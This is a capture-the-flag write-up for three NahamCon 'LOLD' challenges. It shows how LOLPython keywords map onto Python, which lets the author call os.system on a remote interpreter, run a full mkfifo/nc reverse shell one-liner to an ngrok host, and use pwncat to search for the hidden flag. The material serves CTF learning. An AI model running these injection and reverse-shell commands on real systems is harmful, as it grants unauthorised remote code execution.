This was a series of three challenges, that were all very similar. That's why the solutions to LOLD, LOLD2, and LOLD3 challenges are included in this post. The challenge is about a "LOLPython", a language that's basically a translation of Python. It was pretty fun to try and reverse engineer how the language works, to execute any code we want.

The Challenge

We get the source code to a LOLPython "compiler", which just converts our LOLPython code to regular Python code to be executed. The file was named lolpython.py so I looked up what this was, and found that this was a known esoteric programming language from 2007.

http://www.dalkescientific.com/writings/diary/archive/2007/06/01/lolpython.html

The lolpython.py file is the same as the one from the site (link). This is the help output:

Bash

$ python2 lolpython.py --help
convert and run a lolpython program
Commands are:
    lolpython              Read a lolpython program from stdin and execute it
    lolpython --convert    Convert a lolpython program from stdin 
                                  and generate python to stdout
    lolpython --convert filename1 [filename....] 
                           Convert a list of lolpython files into Python files
    lolpython filename [arg1 [arg2 ...]]
                           Run a lolpython program using optional arguments

We can use this python2 script to convert a .txt file containing LOLPython code to python code with the --convert flag. For example:

Bash

$ python2 lolpython.py --convert test.txt

...will create a file called test.py with the python code that can be executed. Now we just need to understand how LOLPython works, so we can write a program in it to grab the flag.

Writing LOLPython

On the Official Site for LOLPython there is a nice Fibonacci sequence example. It has a lot of different syntaxes already in the example, so we can just change some of the names to execute what we want.

LOLPython

IN MAI datetime GIMME date LIKE DATE

SO IM LIKE FIBBING WIT N OK?
    LOL ITERATE FIBONACCI TERMS LESS THAN N /LOL
    SO GOOD N BIG LIKE EASTERBUNNY
    BTW, FIBONACCI LIKE BUNNIES! LOL
    U BORROW CHEEZBURGER
    U BORROW CHEEZBURGER
    I CAN HAZ CHEEZBURGER
    HE CAN HAZ CHEEZBURGER
    WHILE I CUTE?
        I AND HE CAN HAZ HE AND I ALONG WITH HE
        IZ HE BIG LIKE N?
            KTHXBYE
        U BORROW HE

IZ __name__ KINDA LIKE "__main__"?
    COMPLAIN "NOW IZ" AND DATE OWN today THING
    IZ BIGNESS ARGZ OK KINDA LIKE 1?
        N CAN HAS 100
    NOPE?
        N CAN HAS NUMBR ARGZ LOOK AT 1!!
    GIMME EACH I IN UR FIBBING WIT N OK?
        VISIBLE I

This turns into:

Python

import sys as _lol_sys

from datetime import date as DATE 

def FIBBING ( N ) :
    'ITERATE FIBONACCI TERMS LESS THAN N' 
    assert N >= 0 
    # BTW, FIBONACCI LIKE BUNNIES! LOL
    yield 1 
    yield 1 
    I = 1 
    HE = 1 
    while 1:
        I , HE = HE , I + HE 
        if HE >= N :
            break 
        yield HE 

if __name__ == '__main__' :
    print >>_lol_sys.stderr, 'NOW IZ' , DATE . today ()
    if len(_lol_sys.argv) == 1 :
        N = 100 
    else :
        N = int(_lol_sys.argv[ 1 ]) 
    for I in FIBBING ( N ) :
        print I 

Now we can just take some small pieces of code from here and make them do what we want, without fully having to understand the language. A nice goal is to execute shell commands because then we can just provide a string that will be executed. We can simply change the string to do different things, without having to change the script a lot. So this will be our goal:

Python

import os
os.system("id")

Now we need to find the LOLPython code that will turn into this. The Fibonacci example uses a few pieces of syntax we'll need.

  • Firstly, the import keyword. The statement from datetime import date as DATE gets translated to IN MAI datetime GIMME date LIKE DATE. So import is translated to GIMME.
  • We also need os dot system. The dot is another special character that gets translated. We can see DATE . today () is translated to DATE OWN today THING. So a dot . is translated to OWN.
  • Lastly we need the brackets for the "id" argument. In the previous DATE . today () the brackets got translated to a single THING. We need arguments in between the brackets so we need to find something else. We can also see for I in FIBBING ( N ) : which puts an argument between the brackets as we want. This is translated to GIMME EACH I IN UR FIBBING WIT N OK? so the opening bracket ( is WIT, but we don't know the closing bracket for sure. In the code it has ) : with a colon at the end, which is translated to OK?. We can make a guess and say OK is just a singular closing bracket ) without a colon.

So now that we have the translation for all pieces we need, we can craft the script to execute.

LOLPython

GIMME os
os OWN system WIT "id" OK

We can now try to execute this script with lolpython.py by passing the contents to the input of the program:

Shell

$ cat test.txt | python2 lolpython.py
uid=0(root) gid=0(root) groups=0(root)

Perfect! Our system command was executed and the output was printed. If we now try the same thing with the remote nc server you can see we also execute system commands there.

Shell

$ cat test.txt | nc challenge.nahamcon.com 30899
HAI! WELCOME TO LOLD: WE HAZ DA BEEEEEEST LOLPYTH INTERPRETER YOU EVER DID SEE!!
GIMME ONE LOLPYTHON SCRIPT AND MAYB I RUN 4 U!
uid=0(root) gid=0(root) groups=0(root)

It worked instantly. The challenge description told us the flag would be located in /flag.txt, so we can just change our script to cat /flag.txt to find it.

LOLPython

GIMME os
os OWN system WIT "cat /flag.txt" OK

Shell

$ cat test.txt | nc challenge.nahamcon.com 30899
HAI! WELCOME TO LOLD: WE HAZ DA BEEEEEEST LOLPYTH INTERPRETER YOU EVER DID SEE!!
GIMME ONE LOLPYTHON SCRIPT AND MAYB I RUN 4 U!
flag{c1146bd8b0079fd75f857003afe2cc49}

LOLD2

The next challenge in the series is pretty simple to understand. When we try to execute system commands like before, it just runs it but doesn't give us any output back. To extract any information like the flag, we need this output.

Shell

$ cat test.txt | nc challenge.nahamcon.com 31671
HAI! WELCOME TO LOLD: WE HAZ DA BEEEEEEST LOLPYTH INTERPRETER YOU EVER DID SEE!!
GIMME ONE LOLPYTHON SCRIPT AND MAYB I RUN 4 U!
I RAN IT HURRAYYYYYYY!!!!!!!

But instead of receiving it directly, we can make a reverse shell that will connect back to us and allow for normal communication. We can use a reverse shell payload. Here I used ngrok to create a tunnel from the public internet to a local listener. You can use ngrok tcp 4444 and then nc -lnvp 4444 to listen on port 4444, and then just put the address you get from ngrok in the reverse shell. If we put in a script like this and execute it:

LOLPython

GIMME os
os OWN system WIT "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 8.tcp.ngrok.io 17304 >/tmp/f" OK

We get a reverse shell back!

Shell

$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 34366

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /flag.txt
flag{da682dec4bbcad7437bbb875266fda51}

LOLD3

This was another simple twist. We still can't see the output of the commands, but when we connect with the reverse shell like before there is no /flag.txt file anymore. We need to find where the flag is.

For this part, we need to do a little digging with commands, so it's nicer to have a full and clean shell. A handy tool to do this for us is pwncat by Caleb Stewart. It's a reverse shell listener that can be used for lots of things, but I mostly use it for creating a reliable reverse shell connection. You can use pwncat -lp 4444 to listen on port 4444 just like we did before with nc. After triggering the reverse shell like before we get a connection, then we can use Ctrl+D to switch to the remote shell on the remote server.

Shell

$ pwncat -lp 4444
[ ] received connection from 127.0.0.1:57732
[ ] 0.0.0.0:4444: upgrading from /bin/dash to /bin/bash
(local) pwncat$ [Ctrl+D]
(remote) root@lold:/# id
uid=0(root) gid=0(root) groups=0(root)

Now we need to find the flag. The simplest way is to just search for the flag{ string in all files. We can do this with grep:

Shell

(remote) root@lold:/# grep "flag{" -r /
/opt/is/flag/for/me/flag.txt:flag{578d97b0ea07a3703569bf8c7c1f5866}
/opt/challenge/flag.txt:flag{578d97b0ea07a3703569bf8c7c1f5866}

So the flag was just hidden in two files in the /opt directory somewhere.
Now we've solved all 3 LOLD challenges. The hardest part was translating the LOLPython code, but the LOLD2 and LOLD3 were pretty simple after solving the initial challenge.